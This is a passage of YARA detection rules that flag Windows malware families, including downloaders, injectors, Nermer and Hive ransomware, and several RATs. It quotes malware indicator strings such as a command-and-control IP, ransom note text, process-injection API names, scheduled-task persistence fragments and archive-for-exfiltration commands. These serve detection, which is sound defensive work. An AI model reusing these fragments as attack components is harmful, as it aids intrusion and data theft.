		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Dlagent12 : FILE
{
	meta:
		description = "Detects downloader agent"
		author = "ditekSHen"
		id = "841b998b-99d1-50d8-bc7b-75b2a8e690bf"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5983-L5993"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b9845414f4ce4cc25b75a8de7569c4135bbb7ba9098fd4c50d7ac80302e99b8f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "WebClient" fullword ascii
		$s2 = "DownloadData" fullword ascii
		$s3 = "packet_server" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them and filesize < 50KB
}

rule DITEKSHEN_MALWARE_Win_Dlinjector01 : FILE
{
	meta:
		description = "Detects specific downloader injector shellcode"
		author = "ditekSHen"
		id = "c5e0946c-3e15-5ebc-b1b5-3f00566dc5cd"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5995-L6015"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5c13af5fdbb2e8a27103d9502126a82d0bff15d9a269b22e4279b5b459d50e2d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "process call create \"%s\"" ascii wide
		$s2 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\" ascii wide
		$s3 = "%systemroot%\\system32\\ntdll.dll" ascii wide
		$s4 = "qemu-ga.exe" ascii wide
		$s5 = "prl_tools.exe" ascii wide
		$s6 = "vboxservice.exe" ascii wide
		$o1 = { 75 04 74 02 38 6e 8b 34 24 83 c4 04 eb 0a 08 81 }
		$o2 = { 16 f8 f7 ba f0 3d 87 c7 95 13 b7 64 22 be e1 59 }
		$o3 = { 8b 0c 24 83 c4 04 eb 05 ea f2 eb ef 05 e8 ad fe }
		$o4 = { eb 05 1d 51 eb f5 ce e8 80 fd ff ff 77 a1 f4 cd }
		$o5 = { eb 05 6e 33 eb f5 73 e8 64 f6 ff ff 77 a1 f4 77 }
		$o6 = { 59 eb 05 fd 98 eb f4 50 e8 d5 f5 ff ff 3b b9 00 }
		$o7 = "bYkoDA7G" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and all of ( $o* ) ) or ( all of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Dlinjector02 : FILE
{
	meta:
		description = "Detects downloader injector"
		author = "ditekSHen"
		id = "ce2c418d-18e4-579c-9828-94e294385846"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6017-L6034"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "76d185cfcbc7f4996c2fb5c7c1ba4eb20b32d322d8ff47594283a4ca3e573a0b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "In$J$ct0r" fullword wide
		$x2 = "%InJ%ector%" fullword wide
		$a1 = "WriteProcessMemory" fullword wide
		$a2 = "URLDownloadToFileA" fullword ascii
		$a3 = "Wow64SetThreadContext" fullword wide
		$a4 = "VirtualAllocEx" fullword wide
		$s1 = "RunPE" fullword wide
		$s2 = "SETTINGS" fullword wide
		$s3 = "net.pipe" fullword wide
		$s4 = "vsmacros" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or ( all of ( $a* ) and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Nermer : FILE
{
	meta:
		description = "Detects Nermer ransomware"
		author = "ditekSHen"
		id = "fce4f178-8e98-53b0-ae09-2ce876ad524e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6036-L6062"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e885b1b908b256ee07f5cb144d63f5ad65e5bf746b70efe168b0ac742a246ab3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "gPROTECT_INFO.TXT" fullword wide
		$x2 = ".nermer" fullword wide
		$s1 = "db_journal" fullword wide
		$s2 = "quicken2015backup" fullword wide
		$s3 = "mysql" fullword wide
		$s4 = "sas7bdat" fullword wide
		$s5 = "httpd.exe" fullword wide
		$s6 = "Intuit.QuickBooks.FCS" fullword wide
		$s7 = "convimage" fullword wide
		$s8 = ".?AV?$_Binder@U_Unforced@std@@P8shares_t@" ascii
		$s9 = "BgIAAACkAABSU0ExAAgAAAEAAQCt" ascii
		$m1 = "YOUR FILES WERE ENCRYPTED" ascii
		$m2 = "MARKED BY EXTENSION .nermer" ascii
		$m3 = "send us your id: >> {id} <<" ascii
		$m4 = "email us: >> {email} <<" ascii
		$c1 = "/repeater.php" ascii
		$c2 = "HTTPClient/0.1" fullword ascii
		$c3 = "94.156.35.227" ascii
		$c4 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $m* ) or all of ( $c* ) or all of ( $s* ) or ( 4 of ( $s* ) and ( 1 of ( $x* ) or 1 of ( $m* ) or 2 of ( $c* ) ) ) or 14 of them )
}

rule DITEKSHEN_MALWARE_Win_Beastdoor : FILE
{
	meta:
		description = "Detects Beastdoor backdoor"
		author = "ditekSHen"
		id = "b271d53e-2693-5a93-825a-ef32f72a4b01"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6064-L6084"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d9a72717d124bcf1e3b95850cd524e577abe96a094586a5555faadba78fcb9ad"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "shellx.pif" fullword ascii nocase
		$s2 = "Beasty" fullword ascii
		$s3 = "* Boot:[" ascii
		$s4 = "^ Shut Down:[" ascii
		$s5 = "set cdaudio door" ascii
		$s6 = "This \"Portable Network Graphics\" image is not valid" wide
		$n1 = ".aol.com" ascii
		$n2 = "web.icq.com" ascii
		$n3 = "&fromemail=" fullword ascii
		$n4 = "&subject=" fullword ascii
		$n5 = "&Send=" fullword ascii
		$n6 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword ascii
		$n7 = "mirabilis.com" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 5 of ( $n* ) or ( 3 of ( $s* ) and 3 of ( $n* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Gravityrat : FILE
{
	meta:
		description = "Detects GravityRAT"
		author = "ditekSHen"
		id = "cb581dd6-15b2-54ae-9f27-30ec21554fb9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6086-L6108"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a6b049dbf21f22f751c15da98536e9ef2a4ced7755ade0cc9904afddef1d3ae6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "/GX/GX-Server.php?VALUE=2&Type=" wide
		$s2 = "&SIGNATUREHASH=" wide
		$s3 = "Error => CommonFunctionClass => Upload()" wide
		$s4 = "/GetActiveDomains.php" wide
		$s5 = "DetectVM" ascii wide
		$s6 = "/c {0} > {1}" wide
		$s7 = "DRIVEUPLOADCOMPLETED => TOTALFILES={0}, FILESUPLOADED={1}" wide
		$s8 = "Program => RunAFile()" wide
		$s9 = "DoViaCmd" ascii
		$s10 = ".msoftupdates.com:" wide
		$f1 = "<RootJob>b__" ascii
		$f2 = "<GetFiles>b__" ascii
		$f3 = "<UpdateServer>b__" ascii
		$f4 = "<EthernetId>b__" ascii
		$f5 = "<MatchMacAdd>b__" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( all of ( $f* ) and 1 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Fatalrat : FILE
{
	meta:
		description = "Detects FatalRAT"
		author = "ditekSHen"
		id = "f9d0c5dd-ae69-512d-a260-01b9765e10eb"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6110-L6128"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fb7f6822aa4ef98e77670d276d06c9a37718bce38d32ce5b53fe67513b107fbe"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "XXAcQbcXXfRSScR" fullword ascii
		$s1 = "CHROME_NO_DATA" fullword ascii
		$s2 = "CHROME_UNKNOW" fullword ascii
		$s3 = "-Thread running..." ascii
		$s4 = "InetCpl.cpl,ClearMyTracksByProcess" ascii nocase
		$s5 = "MSAcpi_ThermalZoneTemperature" ascii nocase
		$s6 = "taskkill /f /im rundll32.exe" fullword ascii nocase
		$s7 = "del /s /f %appdata%\\Mozilla\\Firefox" ascii nocase
		$s8 = "\\\\%s\\C$\\" ascii
		$s9 = "fnGetChromeUserInfo" fullword ascii
		$s10 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 3 of ( $s* ) ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Gelsemine : FILE
{
	meta:
		description = "Detects Gelsemine"
		author = "ditekSHen"
		id = "f7e9ca53-fc52-5da0-a760-cb09c2544f4f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6174-L6194"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8c20efa6f34ee9165fac9f1f2e5eb20830a02016309dfaa5681977e1a8ac6068"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "If any of these steps fails.only pick one of the targets for configuration\"If you want to just get on with it*which also use [ " wide
		$s2 = "A make implementation+with core modules (please read NOTES.PER_L)2The per_l Text::Template (please read NOTES.PER_L)" wide
		$s3 = "NOTES.VMS (OpenVMS)!NOTES.WIN (any supported Windows)%NOTES.DJGPP (DOS platform with DJGPP)'NOTES.ANDROID (obviously Android [ND" wide
		$s4 = "A simple example would be this)which is to be understood as one of these" fullword wide
		$s5 = "bala bala bala" fullword wide
		$s6 = "echo FOO" fullword wide
		$s7 = "?_Tidy@?$basic_string@DU?$char_traits@D@std@@V" ascii
		$o1 = { eb 08 c7 44 24 34 fd ff ff ff 8b 44 24 54 8b 4c }
		$o2 = { eb 08 c7 44 24 34 fd ff ff ff 8b 44 24 54 8b 4c }
		$o3 = { 8b 76 08 2b f0 a1 34 ff 40 00 03 f0 89 35 38 ff }
		$o4 = { 83 c4 34 c3 8b 4e 20 6a 05 e8 73 10 00 00 8b 76 }
		$o5 = { 8b 44 24 44 2b d1 03 d0 8b f2 e9 14 ff ff ff 8d }
		$o6 = { 68 00 06 00 00 6a 00 e8 d3 ff ff ff a2 48 00 41 }
	condition:
		uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or ( all of ( $o* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Ipsechelper : FILE
{
	meta:
		description = "Detects IPsecHelper backdoor"
		author = "ditekSHen"
		id = "f848ac2a-95ad-596a-b193-5cfb424e33a2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6256-L6279"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "be0ecf8a97d289b15b902420d769925b7b22ab835bd7d10d10b059119f41e540"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "rundll32.exe advapi32.dll,ProcessIdleTasks" wide
		$s2 = "CommandExecute" fullword ascii
		$s3 = "DownloadExecuteUrl" fullword ascii
		$s4 = "DownloadExecuteFile" fullword ascii
		$s5 = "CmdExecute" fullword ascii
		$s6 = "ExecuteProcessWithResult" fullword ascii
		$s7 = "IsFirstInstance ==> checked" fullword wide
		$s8 = "del \"%PROG%%SERVICENAME%\".*" fullword wide
		$s9 = ".CreateConfig" wide
		$s10 = ".SelfDelete" wide
		$c1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; EmbeddedWB 14.52 from: http://www.google.com/ EmbeddedWB 14.52;" wide
		$c2 = "boot.php" wide
		$c3 = "lastupdate.php" wide
		$c4 = "main.php" wide
		$c5 = "InternetNeeded" wide
		$c6 = "DeviceIdSalt" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or 4 of ( $c* ) or 8 of them )
}

rule DITEKSHEN_MALWARE_Win_Apostle : FILE
{
	meta:
		description = "Detects Apsotle"
		author = "ditekSHen"
		id = "6e6d2ef0-b709-5915-b644-db86d9d3f26a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6281-L6295"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "aa5a522383cbb7e2fdb90f4c4395c7f92f546aa1dbda8f44090225861f011630"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "bytesToBeEncrypted" fullword ascii
		$s2 = "SelfDelete" fullword ascii
		$s3 = "ReadMeFileName" ascii
		$s4 = "DesktopFileName" ascii
		$s5 = "SetWallpaper" fullword ascii
		$s6 = "get_EncryptionKey" fullword ascii
		$s7 = "disall" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_DEADWOOD : FILE
{
	meta:
		description = "Detects DEADWOOD"
		author = "ditekSHen"
		id = "a75e30d8-75ec-5eaf-94f5-5556a3b947ae"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6297-L6313"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bf53abc801971b294e0a23bb0162ceb7c56a563a16e73c317f6a890ba545b67d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Service Start Work !!!!" fullword ascii
		$s2 = "Error GetTokenInformation : " fullword ascii
		$s3 = "\\Windows\\System32\\net.exe" fullword wide
		$s4 = "App Start Work !!!!" fullword ascii
		$s5 = "vmmouse" fullword wide
		$s6 = "CDPUserSvc_" wide
		$s7 = "WpnUserService_" wide
		$s8 = "User is :" wide
		$s9 = "\\params" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Turian : FILE
{
	meta:
		description = "Hunt for Turian / Qurian"
		author = "ditekSHen"
		id = "eafa9442-a01b-5044-bc47-634297a3efcc"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6315-L6343"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "87f4263381c5e93fcba0873aa3bb9a1db4b21225141cd7f06be30f5777a47806"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "d1218ab9d608ee0212e880204e4d7d75f29f03b77248bca7648d111d67405759"
		cnc_domain = "windowsupdate[.]dyndns[.]info"
		cnc_ip = "58[.]158[.]177[.]102"
	strings:
		$s1 = "%s a -m5 -hp1qaz@WSX3edc -r %s %s\\*.*" ascii wide
		$s2 = "%s a -m5 -hpMyHost-1 -r %s %s\\*.*" ascii wide
		$s3 = "%s a -m5 -hp1qaz@WSX3edc -ta%04d%02d%02d000000 -r %s c:" ascii wide
		$s4 = "%s a -m5 -hpMyHost-1 -ta%04d%02d%02d000000 -r %s c:"
		$s5 = "cmd /c dir /s /O:D %s>>\"%s\"" ascii wide
		$s6 = "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v %s /t REG_SZ /d \"%s\" /f" fullword ascii
		$s7 = "Not Connect!" fullword ascii
		$p1 = "RECYCLER\\S-1-3-33-854245398-2067806209-0000980848-2003\\" ascii wide
		$p2 = "%sRECYCLER.{S-1-3-33-854245398-2067806209-0000980848-2003}\\" ascii wide
		$p3 = "\\RECYCLER.{S-1-3-33-854245398-2067806209-0000980848-2003}\\" ascii wide
		$p4 = "\\RECYCLER.{645ff040-5081-101b-9f08-00aa002f954e}\\" ascii wide
		$p5 = "%sRECYCLER.{645ff040-5081-101b-9f08-00aa002f954e}\\" ascii wide
		$c1 = "CONNECT %s:%u HTTP/1." ascii wide
		$c2 = "User-Agent: Mozilla/4.0" ascii wide
		$m1 = "winsupdatetw" fullword ascii wide
		$m2 = "clientsix" fullword ascii wide
		$m3 = "updatethres" fullword ascii wide
		$m4 = "uwatchdaemon" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or ( all of ( $c* ) and ( 2 of ( $s* ) or 1 of ( $m* ) or 1 of ( $p* ) ) ) or ( 1 of ( $m* ) and 1 of ( $s* ) and ( 1 of ( $c* ) or 1 of ( $p* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Dlagent14 : FILE
{
	meta:
		description = "Detects downloader injector"
		author = "ditekSHen"
		id = "6f80567e-b89a-557d-a282-b61c0b99625e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6365-L6378"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2806b553635dbf96e9c00d3554dd5732df64200b3ae2c4845a2675218bd56387"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "%ProgramData%\\AVG" fullword wide
		$s2 = "%ProgramData%\\AVAST Software" fullword wide
		$s3 = "%wS\\%wS.vbs" fullword wide
		$s4 = "%wS\\%wS.exe" fullword wide
		$s5 = "CL,FR,US,CY,FI,HR,HU,RO,PL,IT,PT,ES,CA,DK,AT,NL,AU,AR,NP,SE,BE,NZ,SK,GR,BG,NO,GE" ascii
		$s6 = "= CreateObject(\"Microsoft.XMLHTTP\")" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Allakore : FILE
{
	meta:
		description = "Detects AllaKore"
		author = "ditekSHen"
		id = "371663c1-6faf-5ca3-a79e-e4340d44660b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6462-L6493"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0e93682787e27246cdddbd67ca5360728c65049a2e97e71809b5902854aa4bef"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "AllaKore Remote - Chat" fullword wide
		$x2 = "AllaKore Remote - Share Files" fullword wide
		$x3 = "CYRUS - Chat" fullword wide
		$x4 = "CYRUS - Share Files" fullword wide
		$x5 = "<|REDIRECT|><|GETFOLDERS|>" fullword wide
		$x6 = "<|REDIRECT|><|DOWNLOADFILE|>" fullword wide
		$x7 = "<|REDIRECT|><|WHEELMOUSE|>" fullword wide
		$x8 = "<|REDIRECT|><|SETMOUSE" wide
		$x9 = "<|CHECKIDPASSWORD|>" fullword wide
		$x10 = "<|KEYBOARDSOCKET|>" fullword wide
		$x11 = "<|REDIRECT|><|CLIPBOARD|>" fullword wide
		$x12 = "<|IDEXISTS!REQUESTPASSWORD|>" fullword wide
		$x13 = "<|GETFULLSCREENSHOT|>" fullword wide
		$x14 = "<|MAINSOCKET|>" fullword ascii
		$s1 = "You can not connect with yourself!" wide
		$s2 = "Waiting for authentication..." wide
		$s3 = "Connected support!" wide
		$s4 = "ID does nor exists." wide
		$s5 = "Finding the ID..." wide
		$s6 = "PC is Busy!" wide
		$s7 = "Upload &  Execute" fullword ascii
		$s8 = "Download file selected" fullword ascii
		$s9 = "CaptureKeys_TimerTimer" fullword ascii
		$s10 = "Remote File Manager" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $x* ) or 4 of ( $s* ) or ( 3 of ( $s* ) and 2 of ( $x* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Reverserat : FILE
{
	meta:
		description = "Detects ReverseRAT"
		author = "ditekSHen"
		id = "df13fc6c-025a-54db-809d-4f3c27b8aa7a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6495-L6514"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "87ab00a5588bfce04ec47a07b184fffe359e472ac8bf561b02a8b070edf2e014"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$pdb1 = "\\ReverseRat.pdb" ascii nocase
		$pdb2 = "\\ReverseRat\\obj\\" ascii nocase
		$s1 = "processCmd" fullword ascii
		$s2 = "CmdOutputDataHandler" fullword ascii
		$s3 = "sendingProcess" fullword ascii
		$s4 = "SetStartup" fullword ascii
		$s5 = "RunServer" fullword ascii
		$s6 = "_OutputDataReceived" ascii
		$s7 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 
                00 03 0a 00 00 13 74 00 65 00 72 00 6d 00
                69 00 6e 00 61 00 74 00 65 00 00 09 65 00
                78 00 69 00 74 00 }
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $pdb* ) and 2 of ( $s* ) ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Smokeloader : FILE
{
	meta:
		description = "Detects SmokeLoader variants"
		author = "ditekSHen"
		id = "e8f28f89-3a79-5d78-8c0a-bad16a57df84"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6516-L6539"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "65c56ed11a3cb4e4bcf8fd2a6be097545cb96e84ba4c4202969d1d163a2a36ed"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "G2A/CLP/05/RYS" fullword wide
		$x2 = "0N1Y/53R10U5/BU51N355" fullword wide
		$x3 = "CH4PG3PB-6HT2VI9C-O2NL2NO5-QP1BW0EG" fullword wide
		$s1 = "Azure-Update-Task" fullword wide
		$s2 = "C:\\Windows\\System32\\schtasks.exe" fullword wide
		$s3 = "/C /create /F /sc minute /mo 1 /tn \"" fullword wide
		$s4 = "\\Microsoft\\Network" fullword wide
		$s5 = "\\Microsoft\\TelemetryServices" fullword wide
		$s6 = "\" /tr \"" fullword wide
		$e1 = "\\sqlcmd.exe" fullword wide
		$e2 = "\\sihost.exe" fullword wide
		$e3 = "\\fodhelper.exe" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 4 of ( $s* ) ) or ( 5 of ( $s* ) and 1 of ( $e* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Dlinjector03 : FILE
{
	meta:
		description = "Detects unknown loader / injector"
		author = "ditekSHen"
		id = "2d0df2d8-5b1c-5408-b8c7-8ca14d57da0f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6541-L6551"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "10092e7916775fe0a39baa5714fdda89f443ceabdcc610cc1fcd5a0fb0e68d0c"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "LOADER ERROR" fullword ascii
		$s1 = "_ZN6curlpp10OptionBaseC2E10CURLoption" fullword ascii
		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Coinminer02 : FILE
{
	meta:
		description = "Detects coinmining malware"
		author = "ditekSHen"
		id = "1878a1b5-4e97-5575-802e-573caded2b3a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6553-L6571"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "83760aef667819923a2ac67c006e03bb6d4260b7a4aedd691dd5b145fb50d5c1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "%s/%s (Windows NT %lu.%lu" fullword ascii
		$s2 = "\\Microsoft\\Libs\\WR64.sys" wide
		$s3 = "\\\\.\\WinRing0_" wide
		$s4 = "pool_wallet" ascii
		$s5 = "cryptonight" ascii
		$s6 = "mining.submit" ascii
		$c1 = "stratum+ssl://" ascii
		$c2 = "daemon+http://" ascii
		$c3 = "stratum+tcp://" ascii
		$c4 = "socks5://" ascii
		$c5 = "losedaemon+https://" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) and 1 of ( $c* ) )
}

rule DITEKSHEN_MALWARE_Win_Phonzy : FILE
{
	meta:
		description = "Detects specific downloader agent"
		author = "ditekSHen"
		id = "d35f41e4-4633-5482-9ae4-79354463f1b9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6595-L6608"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "924e7674d76594314df1a32d38f19cee12a3ed49cdf5e153f98bb08a7634055c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$ua1 = "User-Agent: Mozilla/5.0 (X11; Linux" wide
		$s1 = "<meta name=\"keywords\" content=\"([\\w\\d ]*)\">" fullword wide
		$s2 = "WebClient" fullword ascii
		$s3 = "WriteAllText" fullword ascii
		$s4 = "DownloadString" fullword ascii
		$s5 = "WriteByte" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $ua* ) and ( $s1 ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Hive : FILE
{
	meta:
		description = "Detects Hive ransomware"
		author = "ditekSHen"
		id = "7b79dc54-01c7-5667-acf5-a32cd7a45b54"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6610-L6647"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "14c20ff2fa62d80eed0f4f364e24d93d493d4f3b47f664983714940afa74046f"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$url1 = "http://hivecust" ascii
		$url2 = "http://hiveleakdb" ascii
		$s1 = "encrypt_files.go" ascii
		$s2 = "erase_key.go" ascii
		$s3 = "kill_processes.go" ascii
		$s4 = "remove_shadow_copies.go" ascii
		$s5 = "stop_services_windows.go" ascii
		$s6 = "remove_itself_windows.go" ascii
		$x1 = "/encryptor/" ascii
		$x2 = "HOW_TO_DECRYPT.txt" ascii
		$x3 = "FilesEncrypted" fullword ascii
